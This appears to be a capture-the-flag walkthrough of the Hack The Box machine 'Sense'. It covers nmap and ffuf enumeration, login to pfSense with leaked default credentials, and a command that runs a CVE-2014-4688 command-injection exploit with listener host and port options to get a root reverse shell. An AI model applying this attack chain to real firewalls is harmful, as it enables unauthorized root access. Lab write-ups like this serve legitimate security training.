Port Scanning

Begin with port scanning via nmap:

Full Scope →

nmap -p- --max-rate 10000 sense.htb

Ports 80 (HTTP) and 443 (HTTPS) are open.

Service Scan →

nmap -sV -p 80,443 sense.htb

Both ports are running lighttpd 1.4.35.

Vuln Scan →

nmap --script=vuln -p 80,443 sense.htb

The vuln script flags a potential Slowloris DoS vulnerability; no directly exploitable finding at this stage.

Web Enumeration

Directory Fuzzing

Start with dirsearch using the common wordlist:

dirsearch -u https://sense.htb -w /usr/share/dirb/wordlists/common.txt -t 50

Results surface standard pfSense paths (/classes, /css, /includes, /installer, etc.) but nothing useful for authentication.

pfSense detects the custom hostname defined in /etc/hosts as a potential DNS rebinding attack and blocks access:

Switching to the direct IP address (10.129.3.2) resolves this. Continue with ffuf:

ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -u https://10.129.3.2/FUZZ -mc 200 -e .php,.aspx,.sh,.txt,.tar,.tar.gz

The small wordlist returns only false positives pfSense redirects all unauthenticated requests to the login page, causing every response to share the same size (6690 bytes).

The lowercase variant yields the same result:

Removing the status code filter and switching to the medium wordlist:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://10.129.3.2/FUZZ -e .php,.aspx,.sh,.txt,.tar,.tar.gz

After a lengthy scan, two interesting files stand out: changelog.txt and system-users.txt.

Sensitive File Discovery

changelog.txt: The security changelog reveals that the firewall update failed and only 2 out of 3 vulnerabilities have been patched:

A direct hint that the system is intentionally left running a vulnerable version.

system-users.txt: A support ticket file containing plaintext credentials:

Username: Rohit, password listed as "company defaults" which for pfSense means the default password: pfsense.

Authentication

Navigate to the pfSense login panel at https://10.129.3.2. Logging in with rohit:pfsense (lowercase) is successful:

The dashboard confirms the version as pfSense 2.1.3-RELEASE.

Note: The /csrf/ path found during fuzzing belongs to pfSense's CSRF token mechanism and returns 404 when accessed directly. The actual login page is at the root URL (/).

Exploitation

Vulnerability Research

searchsploit "pfsense 2.1.3"

Searchsploit brings one result: pfSense < 2.1.4 status_rrd_graph_img.php Command Injection (CVE-2014-4688). This is an authenticated RCE vulnerability where an unsanitized GET parameter in the RRD graph rendering endpoint allows injecting arbitrary OS commands.

The original ExploitDB script throws errors when executed:

An updated, working version is available on GitHub:

Review usage with:

python3 exp.py -h

Start a listener and run the exploit:

python3 exp.py --rhost 10.129.3.2 --lhost 10.10.14.79 --lport 1234 --username rohit --password pfsense

The exploit fetches the CSRF token, injects the payload, and completes successfully.

Shell

Penelope shell handler automatically upgrades the incoming connection to a PTY and delivers a root session:

No privilege escalation needed the exploit lands directly as root.

Flags

cat /home/rohit/user.txt
cat /root/root.txt

May The Pentest Be With You